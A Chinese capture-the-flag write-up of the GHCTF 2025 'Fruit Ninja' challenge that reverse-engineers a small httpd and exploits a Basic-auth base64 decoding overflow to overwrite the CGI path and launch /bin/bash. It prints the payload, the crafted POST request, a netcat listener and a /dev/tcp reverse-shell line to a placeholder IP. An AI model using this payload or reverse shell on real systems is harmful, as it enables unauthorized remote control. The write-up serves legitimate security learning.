[GHCTF 2025]Fruit Ninja
不太了解 WEBPWN 应该从哪里学起,那就从碰见的一道题目开始吧:[GHCTF 2025]Fruit Ninja | NSS
下载附件之后,我们发现和平时的 PWN 题目不太一样,同时注意到 httpd 是一个编译的二进制文件:

程序分析:
我们进行 IDA 反编译一下,然后进行 checksec:发现栈保护全开:


这是一个非常经典的轻量级嵌入式 Web 服务器的二进制逆向分析,是一个典型的多线程并发处理模型。
main
1 | int __fastcall __noreturn main(int argc, const char **argv, const char **envp) |
startup()内部会执行标准的网络编程三步走:socket()->bind()->listen()。成功后返回一个用于监听的 Socket 文件描述符给 fd。随后打印出服务正在 4000 端口运行。- v6 = accept(…):程序在此处阻塞,等待用户的 TCP 连接。一旦有网络请求进来,accept 会为该连接生成一个专用的客户端通信描述符
v6(比如值为 4、5 等)。 - pthread_create(…):核心分发逻辑。程序并没有自己去处理 HTTP 报文,而是立刻创建了一个新线程。新线程去执行的目标函数是 accept_request。而传递给 accept_request 的参数正是刚才建立的客户端描述符 v6
- 并发优势:主线程派发完任务后,立刻回到
while(1)顶部继续accept下一个连接,互不干扰。
accept_request()
1 | unsigned __int64 __fastcall accept_request(void *a1) |
解析 HTTP 请求行(Request Line),提取出请求方法(GET/POST)和请求路径(URL),并根据文件属性决定是直接返回静态文件(serve_file)还是调用 CGI 脚本(execute_cgi)。
1 | line = (int)get_line((unsigned int)a1, s2, 1024); |
- get_line:从网络连接中读取 HTTP 请求的第一行
1 | for ( i = 0; ((*__ctype_b_loc())[s2[i]] & 0x2000) == 0 && v4 <= 0xFD; ++i ) |
程序遍历 s2,以空格(由 __ctype_b_loc() 判断空白字符)为界,把第一个单词存入 s1。
- 只有当 s1 是 “GET” 或 “POST” 时才继续处理,否则调用 unimplemented() 报错。
1 | if ( !strcasecmp(s1, "GET") || !strcasecmp(s1, "POST") ) |
程序跳过空格,继续读取 URI 存入 v10。
- GET 特殊处理:如果是 GET 请求,程序会查找问号 ?。如果找到,会将 ? 替换为 \0(字符串结束符),并把 ? 后面的参数指针赋给 j(作为 Query String)。
- POST 特殊处理:如果是 POST 请求,指针会保持为初始值 0(NULL)。
物理路径映射:
1 | sprintf(s, "www/html%s", v10); |
程序默认在请求路径前直接拼接 "www/html"
如果请求为 POST /rule.cgi,这里拼接后刚好变成 www/html/rule.cgi
1 | if ( (unsigned int)_stat(s, &stat_buf) == -1 ) |
程序调用了系统底层函数 _stat 去检查拼接后的文件是否存在。这意味着你请求的 URI 必须在靶机本地真实存在,否则直接返回 404 Not Found。
1 | else if ( strstr(s, "..") ) |
程序严格过滤了 ..。如果你的路径里包含 .. 试图跳转到上级目录读取 /etc/passwd,程序会直接拦截,并返回一个 hack.html 页面。
1 | else |
- 程序通过位运算检查目标文件的 Linux 权限掩码(
st_mode)。0x40,8,1分别对应八进制权限的0100(属主执行)、0010(属组执行)、0001(其他人执行)。 - 结论:只要目标文件 rule.cgi 在靶机上具有任何一种可执行 x 权限,程序就会立刻调用 execute_cgi,把连接对象 a1、文件路径 s、请求方法 s1 传过去。
execute_cgi
1 | unsigned __int64 __fastcall execute_cgi(unsigned int a1, const char *a2, const char *a3, const char *a4) |
1 | char v18[256]; // [rbp-B10h] 大小为 256 字节 存放认证解码数据 |
- 计算一下它们之间的距离:
0xB10 - 0xA10 = 0x100 = 256 - 这意味着,v18 这个数组的大小刚好就是 256 字节,它的结尾处挨着的就是
dest变量的起始地址。
程序执行了 strcpy(dest, a2);,此时 dest 里面存放的是原本合法的物理路径:"www/html/rule.cgi"
1 | if ( !strcasecmp(s2, "Authorization: Basic") ) |
- 当程序读到 Authorization: Basic 时,会调用自定义的 GdecBase64 进行解码,并将结果存入缓冲区
v18 GdecBase64内部没有任何防止越界写入的机制。看一下大致逻辑
1 | __int64 __fastcall GdecBase64(__int64 a1, unsigned __int16 a2, __int64 a3) |
1 | if ( v12 == -1 || strcmp(v18, "pwner") ) { bad_request(a1); ... } |
校验要求认证信息必须是 pwner,由于 strcmp 的特性,我们可以利用 \x00 去截断,进行缓冲区溢出
1 | execl(dest, dest, 0); |
- 在经历 pipe 创建管道和 fork 创建子进程后,子进程会调用系统底层的 execl 去执行 dest 变量里指向的程序
- 如果没有溢出,它本该执行的是
www/html/rule.cgi。 - 但如果我们对 v18 填满 256 字节溢出覆盖 dest 的内存,就可以尝试进行反弹 shell
- 那么就可以欺骗服务器执行
execl("/bin/bash", "/bin/bash", 0);。
EXP 思路:
构造 Payload 与 HTTP 发包
1 | payload = b'pwner\x00'.ljust(256,b'\x00')+b'/bin/bash\x00' |
用 pwner 伪造基础用户名,\x00 截断 strcmp 并进行溢出,用 /bin/bash\x00 覆盖相邻的 dest 变量
- 欺骗服务器执行:execl(“/bin/bash”, “/bin/bash”, 0);
1 | data =b'POST /rule.cgi '+b'HTTP/1.1\r\nContent-Length: 1000\r\nAuthorization: Basic '+base64.b64encode(payload)+b'\r\n\r\n' |
- 组装符合 HTTP 协议规范的恶意 POST 请求报文,相当于常规传参
- 指定请求目标为
/rule.cgi,让目标 Web 服务 httpd 调用对应的 CGI 处理函数。 - 构造 Authorization: Basic 认证头,并将上面写好的 payload 进行Base64 编码后拼接进去
- 末尾的
\r\n\r\n是 HTTP 协议的严格强制规范,表示请求头部结束。
- 指定请求目标为
1 | io.send(data) |
- 执行 execl(“/bin/bash”, “/bin/bash”, 0);
反弹 Shell 与接管控制权
1 | io.sendline(b'sh -i >& /dev/tcp/ip/4444 0>&1') |
- 发送反弹 Shell 指令,
sendline会自动在末尾追加一个换行符\n,等同于在命令行敲击回车执行。 - 作用:此时目标机上已经运行着刚刚被你通过溢出启动的
bash,这条命令直接喂给了那个bash。- 它的作用是让目标机器主动发起 TCP 连接,连向你指定的公网
ip和4444端口,并将目标机器的输入输出流全部重定向过去。 - 注意:代码里的
ip只是个占位符,实战中必须替换成你自己的公网 VPS IP。
- 它的作用是让目标机器主动发起 TCP 连接,连向你指定的公网
1 | io.interactive() |
- 含义:将当前的 pwntools 脚本切换为全交互模式。
总 EXP:
先 sudo nc -lvnp 端口号 进行监听,再开启新的界面运行 python exp.py,成功后 ssh 端会接收到如下字样:
Listening on 0.0.0.0 端口号
Connection received on ip 随机端口号,这样子就可以获取 flag 了。
1 | from pwn import * |

更新: 2026-05-10 19:55:17
原文: https://www.yuque.com/idcm/wnemg9/ubnxy9l5nba9skcf